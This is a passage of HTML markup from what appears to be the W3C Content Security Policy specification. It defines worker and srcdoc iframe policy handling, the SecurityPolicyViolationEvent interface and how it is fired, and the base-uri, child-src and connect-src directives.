href=\"#runs-a-worker\">runs a worker</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>If the worker’s script’s origin is a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique identifier</a>\n      (for example, the worker’s script’s URL has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then:\n      \n       <ul>\n        \n        <li>If the user agent is enforcing a CSP policy for the <var>owner\n        document</var> or <var>parent worker</var>, the user agent MUST enforce\n        the CSP policy for the worker.\n        \n\n        \n        <li>If the user agent is monitoring a CSP policy for the <var>owner\n        document</var> or <var>parent worker</var>, the user agent MUST monitor\n        the CSP policy for the worker.\n        \n      \n       </ul>\n      \n      \n      <li>Otherwise:\n        \n       <ul>\n          \n        <li>If the worker’s script is delivered with a\n          <code>Content-Security-Policy</code> HTTP header containing the\n          value <var>policy</var>, the user agent MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a>\n          <var>policy</var> for the worker.\n        \n\n          \n        <li>If the worker’s script is delivered with a\n          <code>Content-Security-Policy-Report-Only</code> HTTP header\n          containing the value <var>policy</var>, the user agent MUST\n          <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> <var>policy</var> for the worker.\n        \n        \n       </ul>\n       \n      \n      \n    \n     </ul>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"5.2\" id=\"processing-model-iframe-srcdoc\"><span class=\"secno\">5.2. </span><span class=\"content\"><code>srcdoc</code> IFrames</span><a class=\"self-link\" href=\"#processing-model-iframe-srcdoc\"></a></h3>\n     \n\n\n     <p>Whenever a user agent creates <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is <a data-link-type=\"dfn\" href=\"#enforce\">enforcing</a> any <a data-link-type=\"dfn\" href=\"#security-policy\">policies</a>\n    for the protected resource, the user agent MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> those\n    <a data-link-type=\"dfn\" href=\"#security-policy\">policies</a> on the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> <code>srcdoc</code> document as well.</p>\n     \n\n\n     <p>Whenever a user agent creates <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is monitoring any policies for the\n    protected resource, the user agent MUST <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> those policies on\n    the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> <code>srcdoc</code> document as well.</p>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"6\" id=\"script-interfaces\"><span class=\"secno\">6. </span><span class=\"content\">Script Interfaces</span><a class=\"self-link\" href=\"#script-interfaces\"></a></h2>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"6.1\" id=\"securitypolicyviolationevent-interface\"><span class=\"secno\">6.1. </span><span class=\"content\">\n      <code>SecurityPolicyViolationEvent</code> Interface\n    </span><a class=\"self-link\" href=\"#securitypolicyviolationevent-interface\"></a></h3>\n     \n\n    \n     <pre class=\"idl\">[<dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"constructor\" data-export=\"\" data-lt=\"SecurityPolicyViolationEvent(type, eventInitDict)\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent\">Constructor<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\"></a></dfn>(DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent/SecurityPolicyViolationEvent(type, eventInitDict)\" data-dfn-type=\"argument\" data-export=\"\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\">type<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\"></a></dfn>, optional <a data-link-type=\"idl-name\" href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent/SecurityPolicyViolationEvent(type, eventInitDict)\" data-dfn-type=\"argument\" data-export=\"\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\">eventInitDict<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\"></a></dfn>)]\ninterface <dfn class=\"idl-code\" data-dfn-type=\"interface\" data-export=\"\" id=\"securitypolicyviolationevent\">SecurityPolicyViolationEvent<a class=\"self-link\" href=\"#securitypolicyviolationevent\"></a></dfn> : <a data-link-type=\"idl-name\" href=\"http://www.w3.org/TR/dom/#event\">Event</a> {\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-documenturi\">documentURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-referrer\">referrer</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-blockeduri\">blockedURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-violateddirective\">violatedDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-originalpolicy\">originalPolicy</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a>;\n};\n</pre>\n     \n    \n     <dl>\n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-documenturi\">documentURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-documenturi\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-document-uri\"><code>document-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-referrer\">referrer<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-referrer\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-referrer\"><code>referrer</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-blockeduri\">blockedURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-blockeduri\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-blocked-uri\"><code>blocked-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-violateddirective\">violatedDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-violateddirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-violated-directive\"><code>violated-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-effectivedirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-effective-directive\"><code>effective-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-originalpolicy\">originalPolicy<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-originalpolicy\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-original-policy\"><code>original-policy</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-statuscode\">statusCode<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-statuscode\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-status-code\"><code>status-code</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-sourcefile\">sourceFile<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-sourcefile\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-source-file\"><code>source-file</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-linenumber\">lineNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-linenumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-line-number\"><code>line-number</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-columnnumber\">columnNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-columnnumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-column-number\"><code>column-number</code></a> property of violation reports for a description of this property.\n      \n    \n     </dl>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"6.2\" id=\"securitypolicyviolationeventinit-interface\"><span class=\"secno\">6.2. </span><span class=\"content\">\n      <code>SecurityPolicyViolationEventInit</code> Interface\n    </span><a class=\"self-link\" href=\"#securitypolicyviolationeventinit-interface\"></a></h3>\n     \n\n    \n     <pre class=\"idl\">dictionary <dfn class=\"idl-code\" data-dfn-type=\"dictionary\" data-export=\"\" id=\"dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit<a class=\"self-link\" href=\"#dictdef-securitypolicyviolationeventinit\"></a></dfn> : <a data-link-type=\"idl-name\" href=\"http://www.w3.org/TR/dom/#eventinit\">EventInit</a> {\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-documenturi\">documentURI</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-referrer\">referrer</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-blockeduri\">blockedURI</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-sourcefile\">sourceFile</a>;\n    long      <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-linenumber\">lineNumber</a>;\n    long      <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-columnnumber\">columnNumber</a>;\n};\n</pre>\n     \n    \n     <dl>\n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-documenturi\">documentURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-documenturi\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-document-uri\"><code>document-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-referrer\">referrer<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-referrer\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-referrer\"><code>referrer</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-blockeduri\">blockedURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-blockeduri\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-blocked-uri\"><code>blocked-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-violateddirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-violated-directive\"><code>violated-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-effective-directive\"><code>effective-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-original-policy\"><code>original-policy</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-sourcefile\">sourceFile<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-sourcefile\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-source-file\"><code>source-file</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-linenumber\">lineNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-linenumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-line-number\"><code>line-number</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-columnnumber\">columnNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-columnnumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-column-number\"><code>column-number</code></a> property of violation reports for a description of this property.\n      \n    \n     </dl>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"6.3\" id=\"firing-securitypolicyviolationevent-events\"><span class=\"secno\">6.3. </span><span class=\"content\">Firing Violation Events</span><a class=\"self-link\" href=\"#firing-securitypolicyviolationevent-events\"></a></h3>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"fire-a-violation-event\">fire a violation event<a class=\"self-link\" href=\"#fire-a-violation-event\"></a></dfn>, the user agent MUST use an algorithm\n    equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>Let <var>report object</var> be the result of <a data-link-type=\"dfn\" href=\"#generate-a-violation-report-object\">generating a\n      violation report object</a>.\n      \n\n      \n      <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#queue-a-task\">Queue a task</a> to\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#concept-event-fire\">fire an event</a> named\n      <code>securitypolicyviolation</code> using the\n      <code><a class=\"idl-code\" data-link-type=\"interface\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> interface\n      with the following initializations:\n\n        \n       <ul>\n          \n        <li><code>blockedURI</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>blocked-uri</code> key.\n        \n\n          \n        <li><code>documentURI</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>document-uri</code> key.\n        \n\n          \n        <li><code>effectiveDirective</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>effective-directive</code> key.\n        \n\n          \n        <li><code>originalPolicy</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>original-policy</code> key.\n        \n\n          \n        <li><code>referrer</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>referrer</code> key.\n        \n\n          \n        <li><code>violatedDirective</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>violated-directive</code> key.\n        \n\n          \n        <li><code>sourceFile</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>source-file</code> key.\n        \n\n          \n        <li><code>lineNumber</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>line-number</code> key.\n        \n\n          \n        <li><code>columnNumber</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>column-number</code> key.\n        \n        \n       </ul>\n       \n      \n      \n    \n     </ol>\n     \n\n\n     <p>The <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#task-source\">task source</a> for these <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#concept-task\">tasks</a>\n    is the <a data-link-type=\"dfn\" href=\"#content-security-policy-task-source\">Content Security Policy task source</a>.</p>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"7\" id=\"directives\"><span class=\"secno\">7. </span><span class=\"content\">Directives</span><a class=\"self-link\" href=\"#directives\"></a></h2>\n\n\n    <p>This section describes the content security policy directives\n  introduced in this specification. Directive names are case insensitive.</p>\n\n\n    <p>In order to protect against Cross-Site Scripting (XSS), web\n  application authors SHOULD include:</p>\n\n  \n    <ul>\n    \n     <li>both the <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> and\n    <code><a data-link-type=\"dfn\" href=\"#object_src\">object-src</a></code> directives, or\n     \n\n    \n     <li>include a <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive, which covers both\n    scripts and plugins.\n     \n  \n    </ul>\n\n\n    <p>In either case, authors SHOULD NOT include either\n  <code>'unsafe-inline'</code> or <code>data:</code> as valid sources in\n  their policies. Both enable XSS attacks by allowing code to be included\n  directly in the document itself; they are best avoided completely.</p>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.1\" id=\"directive-base-uri\"><span class=\"secno\">7.1. </span><span class=\"content\"><code>base-uri</code></span><a class=\"self-link\" href=\"#directive-base-uri\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"base_uri\">base-uri<a class=\"self-link\" href=\"#base_uri\"></a></dfn></code> directive restricts the URLs that can\n    be used to specify the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base URL</a>. The syntax for\n    the name and value of the directive are described by the following ABNF\n    grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"base-uri\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-base-urls\">allowed base URLs<a class=\"self-link\" href=\"#allowed-base-urls\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>base-uri</code> directive’s\n    value as a source list</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code>base-uri</code> does not fall back to the <a data-link-type=\"dfn\" href=\"#default-sources\">default\n    sources</a>.</p>\n     \n\n\n     <p>Step 4 of the algorithm defined in HTML5 to obtain a\n    <em>document’s base URL</em> MUST be changed to:</p>\n     \n\n    \n     <ol start=\"4\">\n      \n      <li>If the previous step was not successful, or the result of the\n      previous step does not <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a>\n      the <a data-link-type=\"dfn\" href=\"#allowed-base-urls\">allowed base URLs</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, then the\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base URL</a> is <var>fallback base URL</var>.\n      Otherwise, it is the result of the previous step.\n      \n    \n     </ol>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.2\" id=\"directive-child-src\"><span class=\"secno\">7.2. </span><span class=\"content\"><code>child-src</code></span><a class=\"self-link\" href=\"#directive-child-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"child_src\">child-src<a class=\"self-link\" href=\"#child_src\"></a></dfn></code> directive governs the creation of\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing contexts</a> as well as Worker execution\n    contexts. The syntax for the name and value of the directive are described\n    by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"child-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-child-sources\">allowed child sources<a class=\"self-link\" href=\"#allowed-child-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>child-src</code>\n    directive’s value as a source list</a> if a <code>child-src</code>\n    directive is explicitly specified, and otherwise to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.2.1\" id=\"directive-child-src-nested\"><span class=\"secno\">7.2.1. </span><span class=\"content\">Nested Browsing Contexts</span><a class=\"self-link\" href=\"#directive-child-src-nested\"></a></h4>\n      \n\n\n      <p>To enforce the <code>child-src</code> directive the user agent MUST\n      enforce the <code><a data-link-type=\"dfn\" href=\"#frame_src\">frame-src</a></code> directive.</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.2.2\" id=\"directive-child-src-workers\"><span class=\"secno\">7.2.2. </span><span class=\"content\">Workers</span><a class=\"self-link\" href=\"#directive-child-src-workers\"></a></h4>\n      \n\n\n      <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL while processing the\n      <code>Worker</code> or <code>SharedWorker</code> constructors\n      <a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a>, the user agent MUST act as if there was a fatal network\n      error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>\n      if the URL does not <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the\n      <a data-link-type=\"dfn\" href=\"#allowed-child-sources\">allowed child sources</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.3\" id=\"directive-connect-src\"><span class=\"secno\">7.3. </span><span class=\"content\"><code>connect-src</code></span><a class=\"self-link\" href=\"#directive-connect-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"connect_src\">connect-src<a class=\"self-link\" href=\"#connect_src\"></a></dfn></code> directive restricts which URLs the\n    protected resource can load using script interfaces. The syntax for the name\n    and value of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"connect-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-connection-targets\">allowed connection targets<a class=\"self-link\" href=\"#allowed-connection-targets\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>connect-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>connect-src</code> directive, or otherwise to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-connection-targets\">allowed connection\n    targets</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as\n    if there was a fatal network error and no resource was obtained,\n    <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>:</p>\n     